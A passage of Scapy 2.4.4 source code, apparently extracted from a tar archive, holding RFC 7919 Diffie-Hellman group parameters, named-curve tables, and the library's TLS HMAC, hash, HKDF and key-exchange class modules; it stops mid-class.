9E02FCE1 CDF7E2EC C03404CD 28342F61 9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73 3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA 886B4238 61285C97 FFFFFFFF FFFFFFFF """) mLen = 2048 class ffdhe3072(_FFDHParams): # From RFC 7919 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1 D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9 7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561 2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935 984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735 30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19 0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61 9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73 3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA 886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238 61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3 64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF 3C1B20EE 3FD59D7C 25E41D2B 66C62E37 FFFFFFFF FFFFFFFF """) mLen = 3072 class ffdhe4096(_FFDHParams): # From RFC 7919 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1 D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9 7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561 2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935 984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735 30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19 0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61 9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73 3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA 886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238 61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3 64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF 3C1B20EE 3FD59D7C 25E41D2B 669E1EF1 6E6F52C3 164DF4FB 7930E9E4 E58857B6 AC7D5F42 D69F6D18 7763CF1D 55034004 87F55BA5 7E31CC7A 7135C886 EFB4318A ED6A1E01 2D9E6832 A907600A 918130C4 6DC778F9 71AD0038 092999A3 33CB8B7A 1A1DB93D 7140003C 2A4ECEA9 F98D0ACC 0A8291CD CEC97DCF 8EC9B55A 7F88A46B 4DB5A851 F44182E1 C68A007E 5E655F6A FFFFFFFF FFFFFFFF """) mLen = 4096 class ffdhe6144(_FFDHParams): # From RFC 7919 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1 D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9 7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561 2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935 984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735 30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19 0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61 9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73 3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA 886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238 61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3 64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF 3C1B20EE 3FD59D7C 25E41D2B 669E1EF1 6E6F52C3 164DF4FB 7930E9E4 E58857B6 AC7D5F42 D69F6D18 7763CF1D 55034004 87F55BA5 7E31CC7A 7135C886 EFB4318A ED6A1E01 2D9E6832 A907600A 918130C4 6DC778F9 71AD0038 092999A3 33CB8B7A 1A1DB93D 7140003C 2A4ECEA9 F98D0ACC 0A8291CD CEC97DCF 8EC9B55A 7F88A46B 4DB5A851 F44182E1 C68A007E 5E0DD902 0BFD64B6 45036C7A 4E677D2C 38532A3A 23BA4442 CAF53EA6 3BB45432 9B7624C8 917BDD64 B1C0FD4C B38E8C33 4C701C3A CDAD0657 FCCFEC71 9B1F5C3E 4E46041F 388147FB 4CFDB477 A52471F7 A9A96910 B855322E DB6340D8 A00EF092 350511E3 0ABEC1FF F9E3A26E 7FB29F8C 183023C3 587E38DA 0077D9B4 763E4E4B 94B2BBC1 94C6651E 77CAF992 EEAAC023 2A281BF6 B3A739C1 22611682 0AE8DB58 47A67CBE F9C9091B 462D538C D72B0374 6AE77F5E 62292C31 1562A846 505DC82D B854338A E49F5235 C95B9117 8CCF2DD5 CACEF403 EC9D1810 C6272B04 5B3B71F9 DC6B80D6 3FDD4A8E 9ADB1E69 62A69526 D43161C1 A41D570D 7938DAD4 A40E329C D0E40E65 FFFFFFFF FFFFFFFF """) mLen = 6144 class ffdhe8192(_FFDHParams): # From RFC 7919 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1 D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9 7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561 2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935 984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735 30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19 0B07A7C8 EE0A6D70 9E02FCE1 CDF7E2EC C03404CD 28342F61 9172FE9C E98583FF 8E4F1232 EEF28183 C3FE3B1B 4C6FAD73 3BB5FCBC 2EC22005 C58EF183 7D1683B2 C6F34A26 C1B2EFFA 886B4238 611FCFDC DE355B3B 6519035B BC34F4DE F99C0238 61B46FC9 D6E6C907 7AD91D26 91F7F7EE 598CB0FA C186D91C AEFE1309 85139270 B4130C93 BC437944 F4FD4452 E2D74DD3 64F2E21E 71F54BFF 5CAE82AB 9C9DF69E E86D2BC5 22363A0D ABC52197 9B0DEADA 1DBF9A42 D5C4484E 0ABCD06B FA53DDEF 3C1B20EE 3FD59D7C 25E41D2B 669E1EF1 6E6F52C3 164DF4FB 7930E9E4 E58857B6 AC7D5F42 D69F6D18 7763CF1D 55034004 87F55BA5 7E31CC7A 7135C886 EFB4318A ED6A1E01 2D9E6832 A907600A 918130C4 6DC778F9 71AD0038 092999A3 33CB8B7A 1A1DB93D 7140003C 2A4ECEA9 F98D0ACC 0A8291CD CEC97DCF 8EC9B55A 7F88A46B 4DB5A851 F44182E1 C68A007E 5E0DD902 0BFD64B6 45036C7A 4E677D2C 38532A3A 23BA4442 CAF53EA6 3BB45432 9B7624C8 917BDD64 B1C0FD4C B38E8C33 4C701C3A CDAD0657 FCCFEC71 9B1F5C3E 4E46041F 388147FB 4CFDB477 A52471F7 A9A96910 B855322E DB6340D8 A00EF092 350511E3 0ABEC1FF F9E3A26E 7FB29F8C 183023C3 587E38DA 0077D9B4 763E4E4B 94B2BBC1 94C6651E 77CAF992 EEAAC023 2A281BF6 B3A739C1 22611682 0AE8DB58 47A67CBE F9C9091B 462D538C D72B0374 6AE77F5E 62292C31 1562A846 505DC82D B854338A E49F5235 C95B9117 8CCF2DD5 CACEF403 EC9D1810 C6272B04 5B3B71F9 DC6B80D6 3FDD4A8E 9ADB1E69 62A69526 D43161C1 A41D570D 7938DAD4 A40E329C CFF46AAA 36AD004C F600C838 1E425A31 D951AE64 FDB23FCE C9509D43 687FEB69 EDD1CC5E 0B8CC3BD F64B10EF 86B63142 A3AB8829 555B2F74 7C932665 CB2C0F1C C01BD702 29388839 D2AF05E4 54504AC7 8B758282 2846C0BA 35C35F5C 59160CC0 46FD8251 541FC68C 9C86B022 BB709987 6A460E74 51A8A931 09703FEE 1C217E6C 3826E52C 51AA691E 0E423CFC 99E9E316 50C1217B 624816CD AD9A95F9 D5B80194 88D9C0A0 A1FE3075 A577E231 83F81D4A 3F2FA457 1EFC8CE0 BA8A4FE8 B6855DFE 72B0A66E DED2FBAB FBE58A30 FAFABE1C 5D71A87E 2F741EF8 C1FE86FE A6BBFDE5 30677F0D 97D11D49 F7A8443D 0822E506 A9F4614E 011E2A94 838FF88C D68C8BB7 C5C6424C FFFFFFFF FFFFFFFF """) mLen = 8192 _tls_named_ffdh_groups = {256: "ffdhe2048", 257: "ffdhe3072", 258: "ffdhe4096", 259: "ffdhe6144", 260: "ffdhe8192"} _tls_named_curves = {1: "sect163k1", 2: "sect163r1", 3: "sect163r2", 4: "sect193r1", 5: "sect193r2", 6: "sect233k1", 7: "sect233r1", 8: "sect239k1", 9: "sect283k1", 10: "sect283r1", 11: "sect409k1", 12: "sect409r1", 13: "sect571k1", 14: "sect571r1", 15: "secp160k1", 16: "secp160r1", 17: "secp160r2", 18: "secp192k1", 19: "secp192r1", 20: "secp224k1", 21: "secp224r1", 22: "secp256k1", 23: "secp256r1", 24: "secp384r1", 25: "secp521r1", 26: "brainpoolP256r1", 27: "brainpoolP384r1", 28: "brainpoolP512r1", 29: "x25519", 30: "x448", 0xff01: "arbitrary_explicit_prime_curves", 0xff02: "arbitrary_explicit_char2_curves"} _tls_named_groups = {} _tls_named_groups.update(_tls_named_ffdh_groups) _tls_named_groups.update(_tls_named_curves) def _tls_named_groups_import(group, pubbytes): if group in _tls_named_ffdh_groups: params = _ffdh_groups[_tls_named_ffdh_groups[group]][0] pn = params.parameter_numbers() public_numbers = dh.DHPublicNumbers(pubbytes, pn) return public_numbers.public_key(default_backend()) elif group in _tls_named_curves: if _tls_named_curves[group] in ["x25519", "x448"]: if conf.crypto_valid_advanced: if _tls_named_curves[group] == "x25519": import_point = x25519.X25519PublicKey.from_public_bytes else: import_point = x448.X448PublicKey.from_public_bytes return import_point(pubbytes) else: curve = ec._CURVE_TYPES[_tls_named_curves[group]]() try: # cryptography >= 2.5 return ec.EllipticCurvePublicKey.from_encoded_point( curve, pubbytes ) except AttributeError: pub_num = ec.EllipticCurvePublicNumbers.from_encoded_point( curve, pubbytes ).public_numbers() return pub_num.public_key(default_backend()) def _tls_named_groups_pubbytes(privkey): if isinstance(privkey, dh.DHPrivateKey): pubkey = privkey.public_key() return pubkey.public_numbers().y elif isinstance(privkey, (x25519.X25519PrivateKey, x448.X448PrivateKey)): pubkey = privkey.public_key() return pubkey.public_bytes( serialization.Encoding.Raw, serialization.PublicFormat.Raw ) else: pubkey = privkey.public_key() try: # cryptography >= 2.5 return pubkey.public_bytes( serialization.Encoding.X962, serialization.PublicFormat.UncompressedPoint ) except TypeError: # older versions return pubkey.public_numbers().encode_point() def _tls_named_groups_generate(group): if group in _tls_named_ffdh_groups: params = _ffdh_groups[_tls_named_ffdh_groups[group]][0] return params.generate_private_key() elif group in _tls_named_curves: group_name = _tls_named_curves[group] if group_name in ["x25519", "x448"]: if conf.crypto_valid_advanced: if group_name == "x25519": return x25519.X25519PrivateKey.generate() else: return x448.X448PrivateKey.generate() else: warning( "Your cryptography version doesn't support " + group_name ) else: curve = ec._CURVE_TYPES[_tls_named_curves[group]]() return ec.generate_private_key(curve, default_backend()) # Below lies ghost code since the shift from 'ecdsa' to 'cryptography' lib. # Part of the code has been kept, but commented out, in case anyone would like # to improve ECC support in 'cryptography' (namely for the compressed point # format and additional curves). # # Recommended curve parameters from www.secg.org/SEC2-Ver-1.0.pdf # and www.ecc-brainpool.org/download/Domain-parameters.pdf # # # import math # # from scapy.utils import long_converter, binrepr # from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip # # # def encode_point(point, point_format=0): # """ # Return a string representation of the Point p, according to point_format. # """ # pLen = len(binrepr(point.curve().p())) # x = pkcs_i2osp(point.x(), math.ceil(pLen/8)) # y = pkcs_i2osp(point.y(), math.ceil(pLen/8)) # if point_format == 0: # frmt = b'\x04' # elif point_format == 1: # frmt = chr(2 + y%2) # y = '' # else: # raise Exception("No support for point_format %d" % point_format) # return frmt + x + y # # # try: # import ecdsa # ecdsa_support = True # except ImportError: # import logging # log_loading = logging.getLogger("scapy.loading") # log_loading.info("Can't import python ecdsa lib. No curves.") # # # if ecdsa_support: # # from ecdsa.ellipticcurve import CurveFp, Point # from ecdsa.curves import Curve # from ecdsa.numbertheory import square_root_mod_prime # # # def extract_coordinates(g, curve): # """ # Return the coordinates x and y as integers, # regardless of the point format of string g. # Second expected parameter is a CurveFp. # """ # p = curve.p() # point_format = g[0] # point = g[1:] # if point_format == b'\x04': # point_len = len(point) # if point_len % 2 != 0: # raise Exception("Point length is not even.") # x_bytes = point[:point_len>>1] # x = pkcs_os2ip(x_bytes) % p # y_bytes = point[point_len>>1:] # y = pkcs_os2ip(y_bytes) % p # elif point_format in [b'\x02', b'\x03']: # x_bytes = point # x = pkcs_os2ip(x_bytes) % p # # perform the y coordinate computation with self.tls_ec # y_square = (x*x*x + curve.a()*x + curve.b()) % p # y = square_root_mod_prime(y_square, p) # y_parity = ord(point_format) % 2 # \x02 means even, \x03 means odd # noqa: E501 # if y % 2 != y_parity: # y = -y % p # else: # raise Exception("Point starts with %s. This encoding " # "is not recognized." % repr(point_format)) # if not curve.contains_point(x, y): # raise Exception("The point we extracted does not belong on the curve!") # noqa: E501 # return x, y # # def import_curve(p, a, b, g, r, name="dummyName", oid=(1, 3, 132, 0, 0xff)): # noqa: E501 # """ # Create an ecdsa.curves.Curve from the usual parameters. # Arguments may be either octet strings or integers, # except g which we expect to be an octet string. # """ # if isinstance(p, str): # p = pkcs_os2ip(p) # if isinstance(a, str): # a = pkcs_os2ip(a) # if isinstance(b, str): # b = pkcs_os2ip(b) # if isinstance(r, str): # r = pkcs_os2ip(r) # curve = CurveFp(p, a, b) # x, y = extract_coordinates(g, curve) # generator = Point(curve, x, y, r) # return Curve(name, curve, generator, oid) # Named curves # We always provide _a as a positive integer. # _p = long_converter(""" # ffffffff ffffffff ffffffff fffffffe ffffac73""") # _a = 0 # _b = 7 # _Gx = long_converter(""" # 3b4c382c e37aa192 a4019e76 3036f4f5 dd4d7ebb""") # _Gy = long_converter(""" # 938cf935 318fdced 6bc28286 531733c3 f03c4fee""") # _r = long_converter("""01 # 00000000 00000000 0001b8fa 16dfab9a ca16b6b3""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # SECP160k1 = Curve("SECP160k1", curve, generator, # (1, 3, 132, 0, 9), "secp160k1") # _p = long_converter(""" # ffffffff ffffffff ffffffff ffffffff 7fffffff""") # _a = -3 % _p # _b = long_converter(""" # 1c97befc 54bd7a8b 65acf89f 81d4d4ad c565fa45""") # _Gx = long_converter(""" # 4a96b568 8ef57328 46646989 68c38bb9 13cbfc82""") # _Gy = long_converter(""" # 23a62855 3168947d 59dcc912 04235137 7ac5fb32""") # _r = long_converter("""01 # 00000000 00000000 0001f4c8 f927aed3 ca752257""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # SECP160r1 = Curve("SECP160r1", curve, generator, # (1, 3, 132, 0, 8), "secp160r1") # _p = long_converter(""" # ffffffff ffffffff ffffffff fffffffe ffffac73""") # _a = -3 % _p # _b = long_converter(""" # b4e134d3 fb59eb8b ab572749 04664d5a f50388ba""") # _Gx = long_converter(""" # 52dcb034 293a117e 1f4ff11b 30f7199d 3144ce6d""") # _Gy = long_converter(""" # feaffef2 e331f296 e071fa0d f9982cfe a7d43f2e""") # _r = long_converter("""01 # 00000000 00000000 0000351e e786a818 f3a1a16b""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # SECP160r2 = Curve("SECP160r2", curve, generator, # (1, 3, 132, 0, 30), "secp160r2") # _p = long_converter(""" # ffffffff ffffffff ffffffff ffffffff fffffffe ffffee37""") # _a = 0 # _b = 3 # _Gx = long_converter(""" # db4ff10e c057e9ae 26b07d02 80b7f434 1da5d1b1 eae06c7d""") # _Gy = long_converter(""" # 9b2f2f6d 9c5628a7 844163d0 15be8634 4082aa88 d95e2f9d""") # _r = long_converter(""" # ffffffff ffffffff fffffffe 26f2fc17 0f69466a 74defd8d""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # SECP192k1 = Curve("SECP192k1", curve, generator, # (1, 3, 132, 0, 31), "secp192k1") # _p = long_converter(""" # ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe # ffffe56d""") # _a = 0 # _b = 5 # _Gx = long_converter(""" # a1455b33 4df099df 30fc28a1 69a467e9 e47075a9 0f7e650e # b6b7a45c""") # _Gy = long_converter(""" # 7e089fed 7fba3442 82cafbd6 f7e319f7 c0b0bd59 e2ca4bdb # 556d61a5""") # _r = long_converter("""01 # 00000000 00000000 00000000 0001dce8 d2ec6184 caf0a971 # 769fb1f7""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # SECP224k1 = Curve("SECP224k1", curve, generator, # (1, 3, 132, 0, 32), "secp224k1") # _p = long_converter(""" # A9FB57DB A1EEA9BC 3E660A90 9D838D72 6E3BF623 D5262028 # 2013481D 1F6E5377""") # _a = long_converter(""" # 7D5A0975 FC2C3057 EEF67530 417AFFE7 FB8055C1 26DC5C6C # E94A4B44 F330B5D9""") # _b = long_converter(""" # 26DC5C6C E94A4B44 F330B5D9 BBD77CBF 95841629 5CF7E1CE # 6BCCDC18 FF8C07B6""") # _Gx = long_converter(""" # 8BD2AEB9 CB7E57CB 2C4B482F FC81B7AF B9DE27E1 E3BD23C2 # 3A4453BD 9ACE3262""") # _Gy = long_converter(""" # 547EF835 C3DAC4FD 97F8461A 14611DC9 C2774513 2DED8E54 # 5C1D54C7 2F046997""") # _r = long_converter(""" # A9FB57DB A1EEA9BC 3E660A90 9D838D71 8C397AA3 B561A6F7 # 901E0E82 974856A7""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # BRNP256r1 = Curve("BRNP256r1", curve, generator, # (1, 3, 36, 3, 3, 2, 8, 1, 1, 7), "brainpoolP256r1") # _p = long_converter(""" # 8CB91E82 A3386D28 0F5D6F7E 50E641DF 152F7109 ED5456B4 # 12B1DA19 7FB71123 ACD3A729 901D1A71 87470013 3107EC53""") # _a = long_converter(""" # 7BC382C6 3D8C150C 3C72080A CE05AFA0 C2BEA28E 4FB22787 # 139165EF BA91F90F 8AA5814A 503AD4EB 04A8C7DD 22CE2826""") # _b = long_converter(""" # 04A8C7DD 22CE2826 8B39B554 16F0447C 2FB77DE1 07DCD2A6 # 2E880EA5 3EEB62D5 7CB43902 95DBC994 3AB78696 FA504C11""") # _Gx = long_converter(""" # 1D1C64F0 68CF45FF A2A63A81 B7C13F6B 8847A3E7 7EF14FE3 # DB7FCAFE 0CBD10E8 E826E034 36D646AA EF87B2E2 47D4AF1E""") # _Gy = long_converter(""" # 8ABE1D75 20F9C2A4 5CB1EB8E 95CFD552 62B70B29 FEEC5864 # E19C054F F9912928 0E464621 77918111 42820341 263C5315""") # _r = long_converter(""" # 8CB91E82 A3386D28 0F5D6F7E 50E641DF 152F7109 ED5456B3 # 1F166E6C AC0425A7 CF3AB6AF 6B7FC310 3B883202 E9046565""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # BRNP384r1 = Curve("BRNP384r1", curve, generator, # (1, 3, 36, 3, 3, 2, 8, 1, 1, 11), "brainpoolP384r1") # _p = long_converter(""" # AADD9DB8 DBE9C48B 3FD4E6AE 33C9FC07 CB308DB3 B3C9D20E # D6639CCA 70330871 7D4D9B00 9BC66842 AECDA12A E6A380E6 # 2881FF2F 2D82C685 28AA6056 583A48F3""") # _a = long_converter(""" # 7830A331 8B603B89 E2327145 AC234CC5 94CBDD8D 3DF91610 # A83441CA EA9863BC 2DED5D5A A8253AA1 0A2EF1C9 8B9AC8B5 # 7F1117A7 2BF2C7B9 E7C1AC4D 77FC94CA""") # _b = long_converter(""" # 3DF91610 A83441CA EA9863BC 2DED5D5A A8253AA1 0A2EF1C9 # 8B9AC8B5 7F1117A7 2BF2C7B9 E7C1AC4D 77FC94CA DC083E67 # 984050B7 5EBAE5DD 2809BD63 8016F723""") # _Gx = long_converter(""" # 81AEE4BD D82ED964 5A21322E 9C4C6A93 85ED9F70 B5D916C1 # B43B62EE F4D0098E FF3B1F78 E2D0D48D 50D1687B 93B97D5F # 7C6D5047 406A5E68 8B352209 BCB9F822""") # _Gy = long_converter(""" # 7DDE385D 566332EC C0EABFA9 CF7822FD F209F700 24A57B1A # A000C55B 881F8111 B2DCDE49 4A5F485E 5BCA4BD8 8A2763AE # D1CA2B2F A8F05406 78CD1E0F 3AD80892""") # _r = long_converter(""" # AADD9DB8 DBE9C48B 3FD4E6AE 33C9FC07 CB308DB3 B3C9D20E # D6639CCA 70330870 553E5C41 4CA92619 41866119 7FAC1047 # 1DB1D381 085DDADD B5879682 9CA90069""") # curve = CurveFp(_p, _a, _b) # generator = Point(curve, _Gx, _Gy, _r) # BRNP512r1 = Curve("BRNP512r1", curve, generator, # (1, 3, 36, 3, 3, 2, 8, 1, 1, 13), "brainpoolP512r1") scapy-2.4.4/scapy/layers/tls/crypto/h_mac.py000066400000000000000000000056571372370053500210430ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016 Maxence Tury # This program is published under a GPLv2 license """ HMAC classes. """ from __future__ import absolute_import import hmac from scapy.layers.tls.crypto.hash import _tls_hash_algs import scapy.modules.six as six from scapy.compat import bytes_encode _SSLv3_PAD1_MD5 = b"\x36" * 48 _SSLv3_PAD1_SHA1 = b"\x36" * 40 _SSLv3_PAD2_MD5 = b"\x5c" * 48 _SSLv3_PAD2_SHA1 = b"\x5c" * 40 _tls_hmac_algs = {} class _GenericHMACMetaclass(type): """ HMAC classes are automatically registered through this metaclass. Furthermore, their name attribute is extracted from their class name. Note that, when used with TLS, the HMAC key length equates the output of the associated hash function (see RFC 5246, appendix C). Also, we do not need to instantiate the associated hash function. """ def __new__(cls, hmac_name, bases, dct): hash_name = hmac_name[5:] # remove leading "Hmac_" if hmac_name != "_GenericHMAC": dct["name"] = "HMAC-%s" % hash_name dct["hash_alg"] = _tls_hash_algs[hash_name] dct["hmac_len"] = _tls_hash_algs[hash_name].hash_len dct["key_len"] = dct["hmac_len"] the_class = super(_GenericHMACMetaclass, cls).__new__(cls, hmac_name, bases, dct) if hmac_name != "_GenericHMAC": _tls_hmac_algs[dct["name"]] = the_class return the_class class HMACError(Exception): """ Raised when HMAC verification fails. """ pass class _GenericHMAC(six.with_metaclass(_GenericHMACMetaclass, object)): def __init__(self, key=None): if key is None: self.key = b"" else: self.key = bytes_encode(key) def digest(self, tbd): if self.key is None: raise HMACError tbd = bytes_encode(tbd) return hmac.new(self.key, tbd, self.hash_alg.hash_cls).digest() def digest_sslv3(self, tbd): if self.key is None: raise HMACError h = self.hash_alg() if h.name == "SHA": pad1 = _SSLv3_PAD1_SHA1 pad2 = _SSLv3_PAD2_SHA1 elif h.name == "MD5": pad1 = _SSLv3_PAD1_MD5 pad2 = _SSLv3_PAD2_MD5 else: raise HMACError("Provided hash does not work with SSLv3.") return h.digest(self.key + pad2 + h.digest(self.key + pad1 + tbd)) class Hmac_NULL(_GenericHMAC): hmac_len = 0 key_len = 0 def digest(self, tbd): return b"" def digest_sslv3(self, tbd): return b"" class Hmac_MD5(_GenericHMAC): pass class Hmac_SHA(_GenericHMAC): pass class Hmac_SHA224(_GenericHMAC): pass class Hmac_SHA256(_GenericHMAC): pass class Hmac_SHA384(_GenericHMAC): pass class Hmac_SHA512(_GenericHMAC): pass scapy-2.4.4/scapy/layers/tls/crypto/hash.py000066400000000000000000000031571372370053500207100ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016 Maxence Tury # This program is published under a GPLv2 license """ Hash classes. """ from __future__ import absolute_import from hashlib import md5, sha1, sha224, sha256, sha384, sha512 import scapy.modules.six as six _tls_hash_algs = {} class _GenericHashMetaclass(type): """ Hash classes are automatically registered through this metaclass. Furthermore, their name attribute is extracted from their class name. """ def __new__(cls, hash_name, bases, dct): if hash_name != "_GenericHash": dct["name"] = hash_name[5:] # remove leading "Hash_" the_class = super(_GenericHashMetaclass, cls).__new__(cls, hash_name, bases, dct) if hash_name != "_GenericHash": _tls_hash_algs[hash_name[5:]] = the_class return the_class class _GenericHash(six.with_metaclass(_GenericHashMetaclass, object)): def digest(self, tbd): return self.hash_cls(tbd).digest() class Hash_NULL(_GenericHash): hash_len = 0 def digest(self, tbd): return b"" class Hash_MD5(_GenericHash): hash_cls = md5 hash_len = 16 class Hash_SHA(_GenericHash): hash_cls = sha1 hash_len = 20 class Hash_SHA224(_GenericHash): hash_cls = sha224 hash_len = 28 class Hash_SHA256(_GenericHash): hash_cls = sha256 hash_len = 32 class Hash_SHA384(_GenericHash): hash_cls = sha384 hash_len = 48 class Hash_SHA512(_GenericHash): hash_cls = sha512 hash_len = 64 scapy-2.4.4/scapy/layers/tls/crypto/hkdf.py000066400000000000000000000040611372370053500206740ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2017 Maxence Tury # This program is published under a GPLv2 license """ Stateless HKDF for TLS 1.3. """ import struct from scapy.config import conf from scapy.layers.tls.crypto.pkcs1 import _get_hash if conf.crypto_valid: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.kdf.hkdf import HKDF, HKDFExpand from cryptography.hazmat.primitives.hashes import Hash from cryptography.hazmat.primitives.hmac import HMAC class TLS13_HKDF(object): def __init__(self, hash_name="sha256"): self.hash = _get_hash(hash_name) def extract(self, salt, ikm): h = self.hash hkdf = HKDF(h, h.digest_size, salt, None, default_backend()) if ikm is None: ikm = b"\x00" * h.digest_size return hkdf._extract(ikm) def expand(self, prk, info, L): h = self.hash hkdf = HKDFExpand(h, L, info, default_backend()) return hkdf.derive(prk) def expand_label(self, secret, label, hash_value, length): hkdf_label = struct.pack("!H", length) hkdf_label += struct.pack("B", 6 + len(label)) hkdf_label += b"tls13 " hkdf_label += label hkdf_label += struct.pack("B", len(hash_value)) hkdf_label += hash_value return self.expand(secret, hkdf_label, length) def derive_secret(self, secret, label, messages): h = Hash(self.hash, backend=default_backend()) h.update(messages) hash_messages = h.finalize() hash_len = self.hash.digest_size return self.expand_label(secret, label, hash_messages, hash_len) def compute_verify_data(self, basekey, handshake_context): hash_len = self.hash.digest_size finished_key = self.expand_label(basekey, b"finished", b"", hash_len) h = Hash(self.hash, backend=default_backend()) h.update(handshake_context) hash_value = h.finalize() hm = HMAC(finished_key, self.hash, default_backend()) hm.update(hash_value) return hm.finalize() scapy-2.4.4/scapy/layers/tls/crypto/kx_algs.py000066400000000000000000000137311372370053500214140ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ Key Exchange algorithms as listed in appendix C of RFC 4346. XXX No support yet for PSK (also, no static DH, DSS, SRP or KRB). """ from __future__ import absolute_import from scapy.layers.tls.keyexchange import (ServerDHParams, ServerRSAParams, ClientDiffieHellmanPublic, ClientECDiffieHellmanPublic, _tls_server_ecdh_cls_guess, EncryptedPreMasterSecret) import scapy.modules.six as six _tls_kx_algs = {} class _GenericKXMetaclass(type): """ We could try to set server_kx_msg and client_kx_msg while parsing the class name... :) """ def __new__(cls, kx_name, bases, dct): if kx_name != "_GenericKX": dct["name"] = kx_name[3:] # remove leading "KX_" the_class = super(_GenericKXMetaclass, cls).__new__(cls, kx_name, bases, dct) if kx_name != "_GenericKX": the_class.export = kx_name.endswith("_EXPORT") the_class.anonymous = "_anon" in kx_name the_class.no_ske = not ("DHE" in kx_name or "_anon" in kx_name) the_class.no_ske &= not the_class.export _tls_kx_algs[kx_name[3:]] = the_class return the_class class _GenericKX(six.with_metaclass(_GenericKXMetaclass)): pass class KX_NULL(_GenericKX): descr = "No key exchange" server_kx_msg_cls = lambda _, m: None client_kx_msg_cls = None class KX_SSLv2(_GenericKX): descr = "SSLv2 dummy key exchange class" server_kx_msg_cls = lambda _, m: None client_kx_msg_cls = None class KX_TLS13(_GenericKX): descr = "TLS 1.3 dummy key exchange class" server_kx_msg_cls = lambda _, m: None client_kx_msg_cls = None # Standard RSA-authenticated key exchange class KX_RSA(_GenericKX): descr = "RSA encryption" server_kx_msg_cls = lambda _, m: None client_kx_msg_cls = 